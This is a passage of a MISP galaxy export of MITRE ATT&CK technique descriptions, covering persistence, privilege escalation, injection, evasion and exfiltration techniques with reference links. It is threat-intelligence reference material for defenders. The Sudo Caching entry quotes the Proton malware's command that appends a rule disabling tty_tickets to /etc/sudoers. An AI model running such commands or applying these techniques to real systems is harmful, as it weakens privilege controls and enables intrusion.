Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.

The tag is: *misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023"*

Table 8888. Table References

Links
https://attack.mitre.org/techniques/T1023
https://capec.mitre.org/data/definitions/132.html

Broadcast Receivers - T1402

An intent is a message passed between Android application or system components. Applications

can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.

Further, malicious applications can register for intents broadcasted by other applications in addition to the Android system itself. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.

In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)

The tag is: *misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402"*

Table 8889. Table References

Links
https://attack.mitre.org/techniques/T1402
https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts

User Execution - T1204

An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).

While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).

Adversaries may also deceive users into performing actions such as:

- Enabling [Remote Access Tools](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary
- Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)
- Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)
- Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn)

For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Tools](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)

The tag is: *misp-galaxy:mitre-attack-pattern="User Execution - T1204"*

Table 8890. Table References

Links
https://attack.mitre.org/techniques/T1204
https://blog.talosintelligence.com/roblox-scam-overview/
https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/
https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery
https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn
https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/

Task requirements - T1240

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1240).

Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)

The tag is: *misp-galaxy:mitre-attack-pattern="Task requirements - T1240"*

Table 8891. Table References

Links
https://attack.mitre.org/techniques/T1240

Traffic Signaling - T1205

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual

flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)

The tag is: *misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205"*

Table 8892. Table References

Links
https://attack.mitre.org/techniques/T1205
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
https://www.amd.com/system/files/TechDocs/20213.pdf
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631

Multiband Communication - T1026

This technique has been deprecated and should no longer be used.

Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.

The tag is: *misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026"*

Table 8893. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1026

Sudo Caching - T1206

The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

Adversaries can abuse poor configurations of this to escalate privileges without needing the user's password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.

The OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.

The tag is: *misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206"*

Table 8894. Table References

Links

https://attack.mitre.org/techniques/T1206
https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
https://www.sudo.ws/

Time Providers - T1209

The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Time Providers - T1209"*

Table 8895. Table References

Links
https://attack.mitre.org/techniques/T1209
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
https://github.com/scottlundgren/w32time
https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902

Scheduled Transfer - T1029

Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/

T1048).

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029"*

Table 8896. Table References

Links
https://attack.mitre.org/techniques/T1029

Shadow DNS - T1340

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1340).

The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)

The tag is: *misp-galaxy:mitre-attack-pattern="Shadow DNS - T1340"*

Table 8897. Table References

Links
https://attack.mitre.org/techniques/T1340
https://blogs.cisco.com/security/talos/angler-domain-shadowing

Path Interception - T1034

This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).

Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)

There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

Unquoted Paths

Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)

PATH Environment Variable Misconfiguration

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if <code>C:\example path</code> precedes <code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.

Search Order Hijacking

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program’s directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL

Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception - T1034"*

Table 8898. Table References

Links
http://msdn.microsoft.com/en-us/library/ms682425
http://msdn.microsoft.com/en-us/library/ms687393
http://support.microsoft.com/KB/103000
http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120
https://attack.mitre.org/techniques/T1034
https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
https://capec.mitre.org/data/definitions/159.html
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx
https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Location Tracking - T1430

Adversaries may track a device's physical location through use of standard operating system APIs via malicious or exploited applications on the compromised device.

On Android, applications holding the `ACCESS_COAURSE_LOCATION` or `ACCESS_FINE_LOCATION` permissions provide access to the device's physical location. On Android 10 and up, declaration of the `ACCESS_BACKGROUND_LOCATION` permission in an application's manifest will allow applications to request location access even when the application is running in the background.(Citation: Android Request Location Permissions) Some adversaries have utilized integration of Baidu map services to retrieve geographical location once the location access permissions had been obtained.(Citation: PaloAlto-SpyDealer)(Citation: Palo Alto HenBox)

On iOS, applications must include the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file depending on the extent of requested access to location information.(Citation: Apple Requesting Authorization for Location Services) On iOS 8.0 and up, applications call `requestWhenInUseAuthorization()` to request access to location information when the application is in use or `requestAlwaysAuthorization()` to request access to location information regardless of whether the application is in use. With elevated privileges, an adversary may be able to access location data without explicit user consent with the `com.apple.locationd.preauthorized` entitlement key.(Citation: Google Project Zero Insomnia)

The tag is: *misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"*

Table 8899. Table References

Links
https://attack.mitre.org/techniques/T1430
https://developer.android.com/training/location/permissions
https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services
https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html
https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/
https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/

Service Execution - T1035

Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.

The tag is: *misp-galaxy:mitre-attack-pattern="Service Execution - T1035"*

Table 8900. Table References

Links
https://attack.mitre.org/techniques/T1035

Anonymity services - T1306

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1306).

Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Anonymity services - T1306"*

Table 8901. Table References

Links
https://attack.mitre.org/techniques/T1306

Process Hollowing - T1093

Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093"*

Table 8902. Table References

Links
http://www.autosectools.com/process-hollowing.pdf
https://attack.mitre.org/techniques/T1093
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Obfuscate infrastructure - T1309

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1309).

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309"*

Table 8903. Table References

Links
https://attack.mitre.org/techniques/T1309

Indicator Blocking - T1054

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to

make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054"*

Table 8904. Table References

Links
https://attack.mitre.org/techniques/T1054
https://capec.mitre.org/data/definitions/571.html
https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events
https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A

Code Injection - T1540

Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries.

With root access, `ptrace` can be used to target specific applications and load shared libraries into its process memory.(Citation: Shunix Code Injection Mar 2016)(Citation: Fadeev Code Injection Aug 2018) By injecting code, an adversary may be able to gain access to higher permissions held by the targeted application by executing as the targeted application. In addition, the adversary may be able to evade detection or enable persistent access to a system under the guise of the application's process.(Citation: Google Triada June 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Code Injection - T1540"*

Table 8905. Table References

Links
https://attack.mitre.org/techniques/T1540
https://fadeevab.com/shared-library-injection-on-android-8/
https://security.googleblog.com/2019/06/pha-family-highlights-triada.html
https://shunix.com/shared-library-injection-in-android/

PowerShell Profile - T1504

Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504"*

Table 8906. Table References

Links
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
https://attack.mitre.org/techniques/T1504
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

Software Packing - T1045

Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Adversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run

this code.(Citation: ESET FinFisher Jan 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Software Packing - T1045"*

Table 8907. Table References

Links
http://en.wikipedia.org/wiki/Executable_compression
https://attack.mitre.org/techniques/T1045
https://capec.mitre.org/data/definitions/570.html
https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf

Biometric Spoofing - T1460

An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).

iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Biometric Spoofing - T1460"*

Table 8908. Table References

Links
https://attack.mitre.org/techniques/T1460

Data Staged - T1074

Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Staged - T1074"*

Table 8909. Table References

Links
https://attack.mitre.org/techniques/T1074
https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf

Execution Guardrails - T1480

Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary's campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)

Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.

Adversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)

The tag is: *misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480"*

Table 8910. Table References

Links
https://attack.mitre.org/techniques/T1480
https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/
https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html
https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/

Process Injection - T1055

Adversaries may inject code into processes in order to evade process-based defenses as well as

possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Injection - T1055"*

Table 8911. Table References

Links
http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
https://attack.mitre.org/techniques/T1055
https://docs.microsoft.com/sysinternals/downloads/sysmon
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.gnu.org/software/acct/

Acquire Access - T1650

Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)

Footholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a "load" that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)

By leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation:

Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)

In some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).

Note: while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire Access - T1650"*

Table 8912. Table References

Links
https://attack.mitre.org/techniques/T1650
https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a
https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

Input Capture - T1056

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).

The tag is: *misp-galaxy:mitre-attack-pattern="Input Capture - T1056"*

Table 8913. Table References

Links
http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
https://attack.mitre.org/techniques/T1056

Process Discovery - T1057

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better

process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.(Citation: Sygnia ESXi Ransomware 2025)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)

